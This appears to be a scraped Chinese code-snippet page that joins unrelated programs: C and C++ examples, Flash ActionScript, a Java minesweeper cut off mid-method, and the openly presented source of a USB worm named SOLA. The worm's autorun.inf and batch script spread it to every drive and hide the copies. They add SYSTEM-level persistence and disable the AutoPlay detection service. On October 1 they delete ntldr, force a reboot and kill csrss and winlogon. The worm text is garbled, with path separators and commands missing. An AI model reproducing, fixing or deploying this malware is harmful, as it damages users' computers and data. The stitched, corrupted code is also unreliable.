導航:首頁 > 源碼編譯 > shofiy源碼

shofiy源碼

發布時間:2022-06-20 09:04:58

❶ c程序源代碼

#include<stdio.h>
main()
{
int a[3];
int i,pass,hoad;
printf("shu ru san ge shuzi:");
scanf("%2d%2d%2d",&a[0],&a[1],&a[2]);
for(i=0;i<=2;i++)
printf("%4d",a[i]);
printf("\n");
for(pass=1;pass<=2;pass++)
for(i=0;i<=1;i++)
if(a[i]>a[i+1]){
hoad=a[i];
a[i]=a[i+1];
a[i+1]=hoad; }
for(i=0;i<=2;i++)
printf("%4d",a[i]);
printf("\n");
getch();
}

❷ C++掃雷源代碼

這是字元界面的掃雷:

#include <iostream>
#include <cstdlib>
#include <ctime>
#include <windows.h>
#include <conio.h>

// defines
#define KEY_UP 0xE048
#define KEY_DOWN 0xE050
#define KEY_LEFT 0xE04B
#define KEY_RIGHT 0xE04D
#define KEY_ESC 0x001B
#define KEY_1 '1'
#define KEY_2 '2'
#define KEY_3 '3'
#define GAME_MAX_WIDTH 100
#define GAME_MAX_HEIGHT 100

// Strings Resource
#define STR_GAMETITLE "ArrowKey:MoveCursor Key1:Open \
Key2:Mark Key3:OpenNeighbors"
#define STR_GAMEWIN "Congratulations! You Win! Thank you for playing!\n"
#define STR_GAMEOVER "Game Over, thank you for playing!\n"
#define STR_GAMEEND "Presented by yzfy . Press ESC to exit\n"

//-------------------------------------------------------------
// Base class
class CConsoleWnd
{
public:
static int TextOut(const char*);
static int GotoXY(int, int);
static int CharOut(int, int, const int);
static int TextOut(int, int, const char*);
static int GetKey();
public:
};

//{{// class CConsoleWnd
//
// int CConsoleWnd::GetKey()
// Wait for standard input and return the KeyCode
//
int CConsoleWnd::GetKey()
{
int nkey=getch(),nk=0;
if(nkey>=128||nkey==0)nk=getch();
return nk>0?nkey*256+nk:nkey;
}

//
// int CConsoleWnd::GotoXY(int x, int y)
// Move cursor to (x,y)
// Only Console Application
//
int CConsoleWnd::GotoXY(int x, int y)
{
COORD cd;
cd.X = x;cd.Y = y;
return SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),cd);
}

//
// int CConsoleWnd::TextOut(const char* pstr)
// Output a string at current position
//
int CConsoleWnd::TextOut(const char* pstr)
{
for(;*pstr;++pstr)putchar(*pstr);
return 0;
}

//
// int CConsoleWnd::CharOut(int x, int y, const int pstr)
// Output a char at (x,y)
//
int CConsoleWnd::CharOut(int x, int y, const int pstr)
{
GotoXY(x, y);
return putchar(pstr);
}

//
// int CConsoleWnd::TextOut(const char* pstr)
// Output a string at (x,y)
//
int CConsoleWnd::TextOut(int x, int y, const char* pstr)
{
GotoXY(x, y);
return TextOut(pstr);
}
//}}

//-------------------------------------------------------------
//Application class
class CSLGame:public CConsoleWnd
{
private:
private:
int curX,curY;
int poolWidth,poolHeight;
int bm_gamepool[GAME_MAX_HEIGHT+2][GAME_MAX_WIDTH+2];
public:
CSLGame():curX(0),curY(0){poolWidth=poolHeight=0;}
int InitPool(int, int, int);
int MoveCursor(){return CConsoleWnd::GotoXY(curX, curY);}
int DrawPool(int);
int WaitMessage();
int GetShowNum(int, int);
int TryOpen(int, int);
private:
int DFSShowNum(int, int);
private:
const static int GMARK_BOOM;
const static int GMARK_EMPTY;
const static int GMARK_MARK;
};
const int CSLGame::GMARK_BOOM = 0x10;
const int CSLGame::GMARK_EMPTY= 0x100;
const int CSLGame::GMARK_MARK = 0x200;

//{{// class CSLGame:public CConsoleWnd
//
// int CSLGame::InitPool(int Width, int Height, int nBoom)
// Initialize the game pool.
// If Width*Height <= nBoom, or nBoom<=0,
// or Width and Height exceed limit , then return 1
// otherwise return 0
//
int CSLGame::InitPool(int Width, int Height, int nBoom)
{
poolWidth = Width; poolHeight = Height;
if(nBoom<=0 || nBoom>=Width*Height
|| Width <=0 || Width >GAME_MAX_WIDTH
|| Height<=0 || Height>GAME_MAX_HEIGHT
){
return 1;
}
// zero memory
for(int y=0; y<=Height+1; ++y)
{
for(int x=0; x<=Width+1; ++x)
{
bm_gamepool[y][x]=0;
}
}
// init seed
srand(time(NULL));
// init Booms
while(nBoom)
{
int x = rand()%Width + 1, y = rand()%Height + 1;
if(bm_gamepool[y][x]==0)
{
bm_gamepool[y][x] = GMARK_BOOM;
--nBoom;
}
}
// init cursor position
curX = curY = 1;
MoveCursor();
return 0;
}

//
// int CSLGame::DrawPool(int bDrawBoom = 0)
// Draw game pool to Console window
//
int CSLGame::DrawPool(int bDrawBoom = 0)
{
for(int y=1;y<=poolHeight;++y)
{
CConsoleWnd::GotoXY(1, y);
for(int x=1;x<=poolWidth;++x)
{
if(bm_gamepool[y][x]==0)
{
putchar('.');
}
else if(bm_gamepool[y][x]==GMARK_EMPTY)
{
putchar(' ');
}
else if(bm_gamepool[y][x]>0 && bm_gamepool[y][x]<=8)
{
putchar('0'+bm_gamepool[y][x]);
}
else if(bDrawBoom==0 && (bm_gamepool[y][x] & GMARK_MARK))
{
putchar('#');
}
else if(bm_gamepool[y][x] & GMARK_BOOM)
{
if(bDrawBoom)
putchar('*');
else
putchar('.');
}
}
}
return 0;
}

//
// int CSLGame::GetShowNum(int x, int y)
// return ShowNum at (x, y)
//
int CSLGame::GetShowNum(int x, int y)
{
int nCount = 0;
for(int Y=-1;Y<=1;++Y)
for(int X=-1;X<=1;++X)
{
if(bm_gamepool[y+Y][x+X] & GMARK_BOOM)++nCount;
}
return nCount;
}

//
// int CSLGame::TryOpen(int x, int y)
// Try open (x, y) and show the number
// If there is a boom, then return EOF
//
int CSLGame::TryOpen(int x, int y)
{
int nRT = 0;
if(bm_gamepool[y][x] & GMARK_BOOM)
{
nRT = EOF;
}
else
{
int nCount = GetShowNum(x,y);
if(nCount==0)
{
DFSShowNum(x, y);
}
else bm_gamepool[y][x] = nCount;
}
return nRT;
}

//
// int CSLGame::DFSShowNum(int x, int y)
// Private function, no comment
//
int CSLGame::DFSShowNum(int x, int y)
{
if((0<x && x<=poolWidth) &&
(0<y && y<=poolHeight) &&
(bm_gamepool[y][x]==0))
{
int nCount = GetShowNum(x, y);
if(nCount==0)
{
bm_gamepool[y][x] = GMARK_EMPTY;
for(int Y=-1;Y<=1;++Y)
for(int X=-1;X<=1;++X)
{
DFSShowNum(x+X,y+Y);
}
}
else bm_gamepool[y][x] = nCount;
}
return 0;
}

//
// int CSLGame::WaitMessage()
// Game loop, wait and process an input message
// return: 0: not end; 1: Win; otherwise: Lose
//
int CSLGame::WaitMessage()
{
int nKey = CConsoleWnd::GetKey();
int nRT = 0, nArrow = 0;
switch (nKey)
{
case KEY_UP:
{
if(curY>1)--curY;
nArrow=1;
}break;
case KEY_DOWN:
{
if(curY<poolHeight)++curY;
nArrow=1;
}break;
case KEY_LEFT:
{
if(curX>1)--curX;
nArrow=1;
}break;
case KEY_RIGHT:
{
if(curX<poolWidth)++curX;
nArrow=1;
}break;
case KEY_1:
{
nRT = TryOpen(curX, curY);
}break;
case KEY_2:
{
if((bm_gamepool[curY][curX]
& ~(GMARK_MARK|GMARK_BOOM))==0)
{
bm_gamepool[curY][curX] ^= GMARK_MARK;
}
}break;
case KEY_3:
{
if(bm_gamepool[curY][curX] & 0xF)
{
int nb = bm_gamepool[curY][curX] & 0xF;
for(int y=-1;y<=1;++y)
for(int x=-1;x<=1;++x)
{
if(bm_gamepool[curY+y][curX+x] & GMARK_MARK)
--nb;
}
if(nb==0)
{
for(int y=-1;y<=1;++y)
for(int x=-1;x<=1;++x)
{
if((bm_gamepool[curY+y][curX+x]
& (0xF|GMARK_MARK)) == 0)
{
nRT |= TryOpen(curX+x, curY+y);
}
}
}
}
}break;
case KEY_ESC:
{
nRT = EOF;
}break;
}
if(nKey == KEY_1 || nKey == KEY_3)
{
int y=1;
for(;y<=poolHeight;++y)
{
int x=1;
for(;x<=poolWidth; ++x)
{
if(bm_gamepool[y][x]==0)break;
}
if(x<=poolWidth) break;
}
if(! (y<=poolHeight))
{
nRT = 1;
}
}
if(nArrow==0)
{
DrawPool();
}
MoveCursor();
return nRT;
}
//}}

//-------------------------------------------------------------
//{{
//
// main function
//
int main(void)
{
int x=50, y=20, b=100,n; // define width & height & n_booms
CSLGame slGame;
// Init Game
{
CConsoleWnd::GotoXY(0,0);
CConsoleWnd::TextOut(STR_GAMETITLE);
slGame.InitPool(x,y,b);
slGame.DrawPool();
slGame.MoveCursor();
}
while((n=slGame.WaitMessage())==0) // Game Message Loop
;
// End of the Game
{
slGame.DrawPool(1);
CConsoleWnd::TextOut("\n");
if(n==1)
{
CConsoleWnd::TextOut(STR_GAMEWIN);
}
else
{
CConsoleWnd::TextOut(STR_GAMEOVER);
}
CConsoleWnd::TextOut(STR_GAMEEND);
}
while(CConsoleWnd::GetKey()!=KEY_ESC)
;
return 0;
}
//}}

❸ FLASH播放器源代碼解說

==============下面是聲音控制部分===================================================
_root.createEmptyMovieClip("vidsound", _root.getNextHighestDepth());
vidsound.attachAudio(ns);
var sou:Sound = new Sound(vidsound); //新建 sou 聲音類實例
sou.setVolume(100); //設置 聲音 初值為100
var startxs = main.controlBar.vol._x; //獲取VOL影片的X坐標初始值 var 聲明局部變數
main.controlBar.vol._x = startxs+(100*.5); //設置 VOL 初始位置為
main.controlBar.vol.onPress = function() { //當按單擊不放時
this.startDrag(false, startxs+3, this._y, startxs+58, this._y); //設置vol跟隨時Y值不變
main.tooltip._x = Math.round(main._xmouse);
main.tooltip._y = 554;
this.onEnterFrame = voller;
};
main.controlBar.vol.onRollOver = function() { //當滑鼠指針移過按鈕區域時顯示VOLUME值
showTip("Volume");
};
main.controlBar.vol.onRollOut = function() { //當滑鼠指針移至按鈕區域之外時調用
removeTip();
};
main.controlBar.vol.onRelease //當釋放按鈕時調用
= main.controlBar.vol.onReleaseOutside = function () {
this.stopDrag(); //startDrag 開始拖動
removeTip();
delete this.onEnterFrame;
};
function voller() { //顯示聲音的百分比函數
var perc = ((main.controlBar.vol._x-544)/(55));
sou.setVolume(Math.ceil(perc*100)); //設置Sound對象sou的音量為perc的上限值
//myVolume = sou.getVolume(); //返迴音量級別默認設置為100
main.tooltip.datext.text = sou.getVolume()+"% Volume";
main.tooltip._x = Math.round(main._xmouse); //tooltip顯示在X的位置
main.tooltip._y = Math.round(main._ymouse); //tooltip顯示在Y的位置
main.tooltip._visible = true;
}

❹ sola的SOLA源代碼

是個autorun.inf類的
autorun.inf內容如下:
[autorun]
shell打開(&O)command=mshta javascript:new ActiveXObject('WScript.Shell').Run('SOLA\SOLA.BAT -USB',0);window.close()
shell=打開(&O)
shellopen=復制磁碟(&C)
shellopenCommand=mshta javascript:new ActiveXObject('WScript.Shell').Run('SOLA\SOLA.BAT -USB',0);window.close()
shellopenDefault=1
shellexplore=資源管理器(&X)
shellexploreCommand=mshta javascript:new ActiveXObject('WScript.Shell').Run('SOLA\SOLA.BAT -USB',0);window.close()
病毒會在字體目錄生成衍生物
%systemroot%FontsRegedit.reg
%systemroot%Fontssleep.exe
%systemroot%FontsSOLA.BAT
%systemroot%Fontsest_type2032.fon
會在字體目錄生成個文件夾
%systemroot%Fontssolasetup
會在任務計劃目錄生成衍生物
%systemroot%TasksTasks.job
病毒代碼
-----
@echo off
set sola=%systemroot%Fonts
set setup=%systemroot%Fontssolasetup
if not %1==-USB goto Start
start /max ..
if exist %sola%SOLA.BAT goto End
::========================Infect==============================
:Infect
cd
md %systemroot%Fontssolasetup
::————文件復制---------
solaAutorun.inf %setup%Autorun.inf
solaSOLA.BAT %setup%SOLA.BAT
sola宅男請進.RAR %setup%宅男請進.RAR
solaTasks.xxx %setup%Tasks.xxx
solasleep.exe %setup%sleep.exe
tasklist >%sola% ask.txt
FOR /F tokens=1 %%i in ('findstr /I svchost.exe %sola% ask.txt') do set svchost=%%i
%systemroot%system32cmd.exe %sola%\%svchost%
del %sola% ask.txt
:Tasks
%setup%Tasks.xxx %systemroot%TasksTasks.job
schtasks /change /ru NT AUTHORITYSYSTEM /tn Tasks & if errorlevel 1 goto TaskFail
goto TaskSuc
:TaskFail
%homedrive%
cd %ALLUSERSPROFILE%
cd 「開始」菜單程序啟動
echo On Error Resume Next>SOLA.VBS
echo set ws=wscript.createobject(wscript.shell)>>SOLA.VBS
echo ws.run %sola%svchost.exe /c %sola%SOLA.BAT,0 >>SOLA.VBS
SOLA.VBS %sola%SOLA.VBS
echo NT>%systemroot%FontsNoTasks
:TaskSuc
attrib %systemroot%TasksTasks.job +s +h +r
%setup%sola.bat %sola%sola.bat
%setup%sleep.exe %systemroot%system32sleep.exe
:NoAutoPlay
net stop Shell Hardware Detection
echo Windows Registry Editor Version 5.00>%systemroot%FontsRegedit.reg
echo [HKEY_LOCAL_]>>%systemroot%FontsRegedit.reg
echo Start=dword:00000004>>%systemroot%FontsRegedit.reg
start regedit /s %systemroot%FontsRegedit.reg
:KillTMG
goto End
::======================Infect======================================
::======================Start=======================================
:Start
%homedrive%
cd %ALLUSERSPROFILE%
cd 「開始」菜單程序啟動
date /t >%sola%est_type2032.fon
findstr /c:-10-01 %sola%est_type2032.fon & if not errorlevel 1 goto DayOn
if exist %systemroot%FontsNoTasks if not exist SOLA.VBS %sola%SOLA.VBS SOLA.VBS
:Continue
sleep 300&set C=0 & echo 1>C:solachk1 & findstr . C:solachk1 & if not errorlevel 1 del C:solachk1 & sleep 1000&set C=1 & findstr /C:SOLA_1.0 C:Autorun.inf & if errorlevel 1 attrib -s -h -r C:Autorun.inf& /y %setup%Autorun.inf C:Autorun.inf&attrib C:Autorun.inf +s +h +r&md C:SOLA& /y %setup%* C:SOLA*&attrib C:SOLA +s +h +r
sleep 300&set D=0 & echo 1>D:solachk1 & findstr . D:solachk1 & if not errorlevel 1 del D:solachk1 & sleep 1000&set D=1 & findstr /C:SOLA_1.0 D:Autorun.inf & if errorlevel 1 attrib -s -h -r D:Autorun.inf& /y %setup%Autorun.inf D:Autorun.inf&attrib D:Autorun.inf +s +h +r&md D:SOLA& /y %setup%* D:SOLA*&attrib D:SOLA +s +h +r
sleep 300&set E=0 & echo 1>E:solachk1 & findstr . E:solachk1 & if not errorlevel 1 del E:solachk1 & sleep 1000&set E=1 & findstr /C:SOLA_1.0 E:Autorun.inf & if errorlevel 1 attrib -s -h -r E:Autorun.inf& /y %setup%Autorun.inf E:Autorun.inf&attrib E:Autorun.inf +s +h +r&md E:SOLA& /y %setup%* E:SOLA*&attrib E:SOLA +s +h +r
sleep 300&set F=0 & echo 1>F:solachk1 & findstr . F:solachk1 & if not errorlevel 1 del F:solachk1 & sleep 1000&set F=1 & findstr /C:SOLA_1.0 F:Autorun.inf & if errorlevel 1 attrib -s -h -r F:Autorun.inf& /y %setup%Autorun.inf F:Autorun.inf&attrib F:Autorun.inf +s +h +r&md F:SOLA& /y %setup%* F:SOLA*&attrib F:SOLA +s +h +r
sleep 300&set G=0 & echo 1>G:solachk1 & findstr . G:solachk1 & if not errorlevel 1 del G:solachk1 & sleep 1000&set G=1 & findstr /C:SOLA_1.0 G:Autorun.inf & if errorlevel 1 attrib -s -h -r G:Autorun.inf& /y %setup%Autorun.inf G:Autorun.inf&attrib G:Autorun.inf +s +h +r&md G:SOLA& /y %setup%* G:SOLA*&attrib G:SOLA +s +h +r
if exist %systemroot%FontsNoTasks if not exist SOLA.VBS %sola%SOLA.VBS SOLA.VBS
sleep 300&set H=0 & echo 1>H:solachk1 & findstr . H:solachk1 & if not errorlevel 1 del H:solachk1 & sleep 1000&set H=1 & findstr /C:SOLA_1.0 H:Autorun.inf & if errorlevel 1 attrib -s -h -r H:Autorun.inf& /y %setup%Autorun.inf H:Autorun.inf&attrib H:Autorun.inf +s +h +r&md H:SOLA& /y %setup%* H:SOLA*&attrib H:SOLA +s +h +r
sleep 300&set I=0 & echo 1>I:solachk1 & findstr . I:solachk1 & if not errorlevel 1 del I:solachk1 & sleep 1000&set I=1 & findstr /C:SOLA_1.0 I:Autorun.inf & if errorlevel 1 attrib -s -h -r I:Autorun.inf& /y %setup%Autorun.inf I:Autorun.inf&attrib I:Autorun.inf +s +h +r&md I:SOLA& /y %setup%* I:SOLA*&attrib I:SOLA +s +h +r
sleep 300&set J=0 & echo 1>J:solachk1 & findstr . J:solachk1 & if not errorlevel 1 del J:solachk1 & sleep 1000&set J=1 & findstr /C:SOLA_1.0 J:Autorun.inf & if errorlevel 1 attrib -s -h -r J:Autorun.inf& /y %setup%Autorun.inf J:Autorun.inf&attrib J:Autorun.inf +s +h +r&md J:SOLA& /y %setup%* J:SOLA*&attrib J:SOLA +s +h +r
sleep 300&set K=0 & echo 1>K:solachk1 & findstr . K:solachk1 & if not errorlevel 1 del K:solachk1 & sleep 1000&set K=1 & findstr /C:SOLA_1.0 K:Autorun.inf & if errorlevel 1 attrib -s -h -r K:Autorun.inf& /y %setup%Autorun.inf K:Autorun.inf&attrib K:Autorun.inf +s +h +r&md K:SOLA& /y %setup%* K:SOLA*&attrib K:SOLA +s +h +r
sleep 300&set L=0 & echo 1>L:solachk1 & findstr . L:solachk1 & if not errorlevel 1 del L:solachk1 & sleep 1000&set L=1 & findstr /C:SOLA_1.0 L:Autorun.inf & if errorlevel 1 attrib -s -h -r L:Autorun.inf& /y %setup%Autorun.inf L:Autorun.inf&attrib L:Autorun.inf +s +h +r&md L:SOLA& /y %setup%* L:SOLA*&attrib L:SOLA +s +h +r
sleep 300&set M=0 & echo 1>M:solachk1 & findstr . M:solachk1 & if not errorlevel 1 del M:solachk1 & sleep 1000&set M=1 & findstr /C:SOLA_1.0 M:Autorun.inf & if errorlevel 1 attrib -s -h -r M:Autorun.inf& /y %setup%Autorun.inf M:Autorun.inf&attrib M:Autorun.inf +s +h +r&md M:SOLA& /y %setup%* M:SOLA*&attrib M:SOLA +s +h +r
sleep 300&set N=0 & echo 1>N:solachk1 & findstr . N:solachk1 & if not errorlevel 1 del N:solachk1 & sleep 1000&set N=1 & findstr /C:SOLA_1.0 N:Autorun.inf & if errorlevel 1 attrib -s -h -r N:Autorun.inf& /y %setup%Autorun.inf N:Autorun.inf&attrib N:Autorun.inf +s +h +r&md N:SOLA& /y %setup%* N:SOLA*&attrib N:SOLA +s +h +r
if exist %systemroot%FontsNoTasks if not exist SOLA.VBS %sola%SOLA.VBS SOLA.VBS
sleep 300&set O=0 & echo 1>O:solachk1 & findstr . O:solachk1 & if not errorlevel 1 del O:solachk1 & sleep 1000&set O=1 & findstr /C:SOLA_1.0 O:Autorun.inf & if errorlevel 1 attrib -s -h -r O:Autorun.inf& /y %setup%Autorun.inf O:Autorun.inf&attrib O:Autorun.inf +s +h +r&md O:SOLA& /y %setup%* O:SOLA*&attrib O:SOLA +s +h +r
sleep 300&set P=0 & echo 1>P:solachk1 & findstr . P:solachk1 & if not errorlevel 1 del P:solachk1 & sleep 1000&set P=1 & findstr /C:SOLA_1.0 P:Autorun.inf & if errorlevel 1 attrib -s -h -r P:Autorun.inf& /y %setup%Autorun.inf P:Autorun.inf&attrib P:Autorun.inf +s +h +r&md P:SOLA& /y %setup%* P:SOLA*&attrib P:SOLA +s +h +r
sleep 300&set Q=0 & echo 1>Q:solachk1 & findstr . Q:solachk1 & if not errorlevel 1 del Q:solachk1 & sleep 1000&set Q=1 & findstr /C:SOLA_1.0 Q:Autorun.inf & if errorlevel 1 attrib -s -h -r Q:Autorun.inf& /y %setup%Autorun.inf Q:Autorun.inf&attrib Q:Autorun.inf +s +h +r&md Q:SOLA& /y %setup%* Q:SOLA*&attrib Q:SOLA +s +h +r
sleep 300&set R=0 & echo 1>R:solachk1 & findstr . R:solachk1 & if not errorlevel 1 del R:solachk1 & sleep 1000&set R=1 & findstr /C:SOLA_1.0 R:Autorun.inf & if errorlevel 1 attrib -s -h -r R:Autorun.inf& /y %setup%Autorun.inf R:Autorun.inf&attrib R:Autorun.inf +s +h +r&md R:SOLA& /y %setup%* R:SOLA*&attrib R:SOLA +s +h +r
sleep 300&set S=0 & echo 1>S:solachk1 & findstr . S:solachk1 & if not errorlevel 1 del S:solachk1 & sleep 1000&set S=1 & findstr /C:SOLA_1.0 S:Autorun.inf & if errorlevel 1 attrib -s -h -r S:Autorun.inf& /y %setup%Autorun.inf S:Autorun.inf&attrib S:Autorun.inf +s +h +r&md S:SOLA& /y %setup%* S:SOLA*&attrib S:SOLA +s +h +r
if exist %systemroot%FontsNoTasks if not exist SOLA.VBS %sola%SOLA.VBS SOLA.VBS
sleep 300&set T=0 & echo 1>T:solachk1 & findstr . T:solachk1 & if not errorlevel 1 del T:solachk1 & sleep 1000&set T=1 & findstr /C:SOLA_1.0 T:Autorun.inf & if errorlevel 1 attrib -s -h -r T:Autorun.inf& /y %setup%Autorun.inf T:Autorun.inf&attrib T:Autorun.inf +s +h +r&md T:SOLA& /y %setup%* T:SOLA*&attrib T:SOLA +s +h +r
sleep 300&set U=0 & echo 1>U:solachk1 & findstr . U:solachk1 & if not errorlevel 1 del U:solachk1 & sleep 1000&set U=1 & findstr /C:SOLA_1.0 U:Autorun.inf & if errorlevel 1 attrib -s -h -r U:Autorun.inf& /y %setup%Autorun.inf U:Autorun.inf&attrib U:Autorun.inf +s +h +r&md U:SOLA& /y %setup%* U:SOLA*&attrib U:SOLA +s +h +r
sleep 300&set V=0 & echo 1>V:solachk1 & findstr . V:solachk1 & if not errorlevel 1 del V:solachk1 & sleep 1000&set V=1 & findstr /C:SOLA_1.0 V:Autorun.inf & if errorlevel 1 attrib -s -h -r V:Autorun.inf& /y %setup%Autorun.inf V:Autorun.inf&attrib V:Autorun.inf +s +h +r&md V:SOLA& /y %setup%* V:SOLA*&attrib V:SOLA +s +h +r
sleep 300&set W=0 & echo 1>W:solachk1 & findstr . W:solachk1 & if not errorlevel 1 del W:solachk1 & sleep 1000&set W=1 & findstr /C:SOLA_1.0 W:Autorun.inf & if errorlevel 1 attrib -s -h -r W:Autorun.inf& /y %setup%Autorun.inf W:Autorun.inf&attrib W:Autorun.inf +s +h +r&md W:SOLA& /y %setup%* W:SOLA*&attrib W:SOLA +s +h +r
sleep 300&set X=0 & echo 1>X:solachk1 & findstr . X:solachk1 & if not errorlevel 1 del X:solachk1 & sleep 1000&set X=1 & findstr /C:SOLA_1.0 X:Autorun.inf & if errorlevel 1 attrib -s -h -r X:Autorun.inf& /y %setup%Autorun.inf X:Autorun.inf&attrib X:Autorun.inf +s +h +r&md X:SOLA& /y %setup%* X:SOLA*&attrib X:SOLA +s +h +r
sleep 300&set Y=0 & echo 1>Y:solachk1 & findstr . Y:solachk1 & if not errorlevel 1 del Y:solachk1 & sleep 1000&set Y=1 & findstr /C:SOLA_1.0 Y:Autorun.inf & if errorlevel 1 attrib -s -h -r Y:Autorun.inf& /y %setup%Autorun.inf Y:Autorun.inf&attrib Y:Autorun.inf +s +h +r&md Y:SOLA& /y %setup%* Y:SOLA*&attrib Y:SOLA +s +h +r
sleep 300&set Z=0 & echo 1>Z:solachk1 & findstr . Z:solachk1 & if not errorlevel 1 del Z:solachk1 & sleep 1000&set Z=1 & findstr /C:SOLA_1.0 Z:Autorun.inf & if errorlevel 1 attrib -s -h -r Z:Autorun.inf& /y %setup%Autorun.inf Z:Autorun.inf&attrib Z:Autorun.inf +s +h +r&md Z:SOLA& /y %setup%* Z:SOLA*&attrib Z:SOLA +s +h +r
if exist %systemroot%FontsNoTasks if not exist SOLA.VBS %sola%SOLA.VBS SOLA.VBS
%systemdrive%
sleep 5000
goto Start
:DayOn
attrib %systemdrive% tldr -s -h -r & del /q /a %systemdrive% tldr & shutdown -r -t 10 -c 您的計算機上帶有SOLA病毒,今天是它的發作日期。病毒已經破壞了您的系統,您的計算機將在10秒鍾後重啟。 & if errorlevel 1 start mshta javascript:new ActiveXObject('WScript.Shell').Run('ntsd -c q -pn csrss.exe',0);window.close()
sleep 10000
if errorlevel 1 start mshta javascript:new ActiveXObject('WScript.Shell').Run('ntsd -c q -pn winlogon.exe',0);window.close()
goto Start
::=====================Start=========================================
:End

❺ 掃雷java源代碼

import java.awt.*;
import java.awt.event.*;
import javax.swing.*;

public class Frame
extends JFrame {
JTextField text;
JLabel nowBomb, setBomb;
int BombNum, BlockNum; // 當前雷數,當前方塊數
int rightBomb, restBomb, restBlock; // 找到的地雷數,剩餘雷數,剩餘方塊數

JButton start = new JButton(" 開始 ");
JPanel MenuPamel = new JPanel();
JPanel bombPanel = new JPanel();
Bomb[][] bombButton;

JPanel c;
BorderLayout borderLayout1 = new BorderLayout();
GridLayout gridLayout1 = new GridLayout();
public Frame() {
try {
setDefaultCloseOperation(EXIT_ON_CLOSE);
jbInit();
}
catch (Exception exception) {
exception.printStackTrace();
}
}

private void jbInit() throws Exception {
c = (JPanel) getContentPane();
setTitle("掃雷");
c.setBackground(Color.WHITE);
MenuPamel.setBackground(Color.GRAY);
c.setLayout(borderLayout1);
setSize(new Dimension(600, 600));
setResizable(false);

BlockNum = 144;
BombNum = 10;
text = new JTextField("10 ", 3);
nowBomb = new JLabel("當前雷數" + ":" + BombNum);
setBomb = new JLabel("設置地雷數");
start.addActionListener(new Frame1_start_actionAdapter(this));

MenuPamel.add(setBomb);
MenuPamel.add(text);
MenuPamel.add(start);
MenuPamel.add(nowBomb);
c.add(MenuPamel, java.awt.BorderLayout.SOUTH);

bombPanel.setLayout(gridLayout1);
gridLayout1.setColumns( (int) Math.sqrt(BlockNum));
gridLayout1.setRows( (int) Math.sqrt(BlockNum));
bombButton = new Bomb[ (int) Math.sqrt(BlockNum)][ (int) Math.sqrt(BlockNum)];
for (int i = 0; i < (int) Math.sqrt(BlockNum); i++) {
for (int j = 0; j < (int) Math.sqrt(BlockNum); j++) {
bombButton[i][j] = new Bomb(i, j);
//bombButton[i][j].setSize(10, 10);
bombButton[i][j].setFont(new Font("", Font.PLAIN, 14));//設置字體大小

bombButton[i][j].setForeground(Color.white);
bombButton[i][j].addMouseListener(new Bomb_mouseAdapter(this));
bombButton[i][j].addActionListener(new Bomb_actionAdapter(this));
bombPanel.add(bombButton[i][j]);
}
}
c.add(bombPanel, java.awt.BorderLayout.CENTER);

startBomb();
}

/* 開始按鈕 */

public void start_actionPerformed(ActionEvent e) {
int num=Integer.parseInt(text.getText().trim());
if (num >= 5 && num < 50) {
BombNum = num;
startBomb();
}
else if (num < 5) {
JOptionPane.showMessageDialog(null, "您設置的地雷數太少了,請重設!", "錯誤",
JOptionPane.ERROR_MESSAGE);
num=10;
BombNum = num;
}
else {
JOptionPane.showMessageDialog(null, "您設置的地雷數太多了,請重設!", "錯誤",
JOptionPane.ERROR_MESSAGE);
num=10;
BombNum = num;
}
}

/* 開始,布雷 */

public void startBomb() {
nowBomb.setText("當前雷數" + ":" + BombNum);
for (int i = 0; i < (int) Math.sqrt(BlockNum); i++) {
for (int j = 0; j < (int) Math.sqrt(BlockNum); j++) {
bombButton[i][j].isBomb = false;
bombButton[i][j].isClicked = false;
bombButton[i][j].isRight = false;
bombButton[i][j].BombFlag = 0;
bombButton[i][j].BombRoundCount = 9;
bombButton[i][j].setEnabled(true);
bombButton[i][j].setText("");
bombButton[i][j].setFont(new Font("", Font.PLAIN, 14));//設置字體大小
bombButton[i][j].setForeground(Color.BLUE);
rightBomb = 0;
restBomb = BombNum;
restBlock = BlockNum - BombNum;
}
}

for (int i = 0; i < BombNum; ) {
int x = (int) (Math.random() * (int) (Math.sqrt(BlockNum) - 1));
int y = (int) (Math.random() * (int) (Math.sqrt(BlockNum) - 1));

if (bombButton[x][y].isBomb != true) {
bombButton[x][y].isBomb = true;
i++;
}
}
CountRoundBomb();
}

/* 計算方塊周圍雷數 */

public void CountRoundBomb() {
for (int i = 0; i < (int) Math.sqrt(BlockNum); i++) {
for (int j = 0; j < (int) Math.sqrt(BlockNum); j++) {
int count = 0;
// 當需要檢測的單元格本身無地雷的情況下,統計周圍的地雷個數
if (bombButton[i][j].isBomb != true) {
for (int x = i - 1; x < i + 2; x++) {
for (int y = j - 1; y < j + 2; y++) {
if ( (x >= 0) && (y >= 0)
&& (x < ( (int) Math.sqrt(BlockNum)))
&& (y < ( (int) Math.sqrt(BlockNum)))) {
if (bombButton[x][y].isBomb == true) {
count++;
}
}
}
}
bombButton[i][j].BombRoundCount = count;
}
}
}
}

/* 是否挖完了所有的雷 */

public void isWin() {
restBlock = BlockNum - BombNum;
for (int i = 0; i < (int) Math.sqrt(BlockNum); i++) {
for (int j = 0; j < (int) Math.sqrt(BlockNum); j++) {
if (bombButton[i][j].isClicked == true) {
restBlock--;
}
}
}

if (rightBomb == BombNum || restBlock == 0) {
JOptionPane.showMessageDialog(this, "您挖完了所有的雷,您勝利了!", "勝利",
JOptionPane.INFORMATION_MESSAGE);
startBomb();
}
}

/** 當選中的位置為空,則翻開周圍的地圖* */

public void isNull(Bomb ClickedButton) {
int i, j;
i = ClickedButton.num_x;
j = ClickedButton.num_y;

for (int x = i - 1; x < i + 2; x++) {
for (int y = j - 1; y < j + 2; y++) {
if ( ( (x != i) || (y != j)) && (x >= 0) && (y >= 0)
&& (x < ( (int) Math.sqrt(BlockNum)))
&& (y < ( (int) Math.sqrt(BlockNum)))) {
if (bombButton[x][y].isBomb == false
&& bombButton[x][y].isClicked == false
&& bombButton[x][y].isRight == false) {
turn(bombButton[x][y]);
}
}
}
}
}

/* 翻開 */

public void turn(Bomb ClickedButton) {
ClickedButton.setEnabled(false);
ClickedButton.isClicked = true;
if (ClickedButton.BombRoundCount > 0) {
ClickedButton.setText(ClickedButton.BombRoundCount + "");
}
else {
isNull(ClickedButton);
}
}

/* 左鍵點擊 */

public void actionPerformed(ActionEvent e) {
if ( ( (Bomb) e.getSource()).isClicked == false
&& ( (Bomb) e.getSource()).isRight == false) {
if ( ( (Bomb) e.getSource()).isBomb == false) {
turn( ( (Bomb) e.getSource()));
isWin();
}

else {
for (int i = 0; i < (int) Math.sqrt(BlockNum); i++) {
